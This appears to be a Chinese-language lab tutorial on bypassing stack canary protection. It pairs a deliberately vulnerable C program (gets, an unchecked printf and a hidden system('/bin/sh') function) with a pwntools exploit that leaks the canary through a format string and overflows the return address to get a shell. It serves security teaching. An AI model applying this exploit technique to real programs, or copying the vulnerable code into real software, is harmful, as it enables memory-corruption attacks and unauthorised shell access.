canary
canary保护机制是随机生成一个4字节整数。放在EBP前面。和一个地址里。。
然后在return前。EBP的值和cannary的值比较。因为溢出势必会覆盖EBP前面才能覆盖EIP
cannary的值最后两位是\x00,当strcpy等函数识别到\x00,CR,LF,EOF和-1时。。就会停止操作。从而起到一个保护作用
绕过
绕过stack canary一般有两种方式
1:暴力破解。最后两位00.实际猜测也就4位
2:字符串格式化。泄露cannary地址
实验
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void canary_protect_me(void){
system("/bin/sh");
}
int main(void){
setvbuf(stdout,0LL,2,0LL);
setvbuf(stdin,0LL,1,0LL);
char buf[40];
gets(buf);
printf(buf);
gets(buf);
return 0;
}
上述代码中。定义了40个字节的buf。
第一个gets输入。我们输入%x,会在后面printf出来
第二个gets输入。用来溢出
gdb看下反汇编
这个就是canary。ebp-4和gs:0x14的值比较,变化了就说明栈溢出
继续看下栈内分布
格式化字符串。可以看到canary在EBP前面。相对于数组开始地址偏移为11
数组第一个是地址。指向我们输出的AAAA
第二个是AAA的值。
第十二个是canary的值
利用所学的知识。当我们输入%11x|data|data|
第一个get读取到了canary的值。然后我们就将它带入我们的payload。继续溢出到程序中的函数地址。直接getshell
payload:
"A"*40+"canary的值"+"EBP"+"system后门地址"
exp如下:
from pwn import *
p=process('./canary')
p.sendline('%11$x')
canary=int(p.recv(),16)
print hex(canary)
shell_addr=0x0804854b
payload="A"*40+p32(canary)+"B"*4+p32(shell_addr)
p.sendline(payload)
p.interactive()